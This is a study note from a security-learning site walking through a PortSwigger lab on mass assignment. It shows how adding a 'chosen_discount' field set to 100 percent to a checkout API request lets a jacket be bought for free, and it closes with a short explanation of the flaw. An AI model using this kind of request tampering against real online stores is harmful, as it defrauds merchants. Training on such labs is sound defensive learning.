> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/api-testing/mass-assignment-exploitation.md).
# Mass Assignment Exploitation
Mass Assignment Exploitation notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Exploiting a Mass Assignment Vulnerability
**Lab objective**/ Exploiting a mass assignment vulnerability to buy the product Lightweight "l33t" Leather Jacket without sufficient funds. / Provided credentials: **wiener / peter**
#### Normal Behavior Observation
When a product is added to the basket and an attempt is made to validate the order, a request is sent to the API:
**POST request to `/api/checkout`**/ The body of the request contains only the selected products:
```json
{
"chosen_products":[
{
"product_id":"1",
"quantity":1
}
]
}
```
Then, when you check the status of the basket, a GET query is sent to the same endpoint.
**Request GET to `/api/checkout`**/ The response returned by the server is in JSON format and includes additional fields:
```json
{
"chosen_discount":{
"percentage":0
},
"chosen_products":[
{
"product_id":"1",
"name":"Lightweight /"l33t/" Leather Jacket",
"quantity":1,
"item_price":133700
}
]
}
```
The `chosen_discount.percentage` field, which is not controlled on the customer side during the initial shipment, can be seen.
#### Exploitation of Vulnerability
When intercepting the **POST `/api/checkout`** request, it is possible to manually add the `chosen_discount` field to the body of the request.
**Amended request**:
```json
{
"chosen_discount":{
"percentage":100
},
"chosen_products":[
{
"product_id":"1",
"quantity":1
}
]
}
```
This change is accepted by the server when returning the query.
#### Result
The server applies a reduction of **100%** on the product, which makes it possible to complete the purchase without cost. / The command is successfully validated, as indicated by the redirect to:
```bash
/cart/order-confirmation?order-confirmed=true
```
#### Conclusion
This vulnerability is based on a **mass assignment**, where the API accepts and processes sensitive fields provided by the client without appropriate validation. By injecting an unplanned parameter (`chosen_discount`), it is possible to modify business logic and bypass price controls.
---
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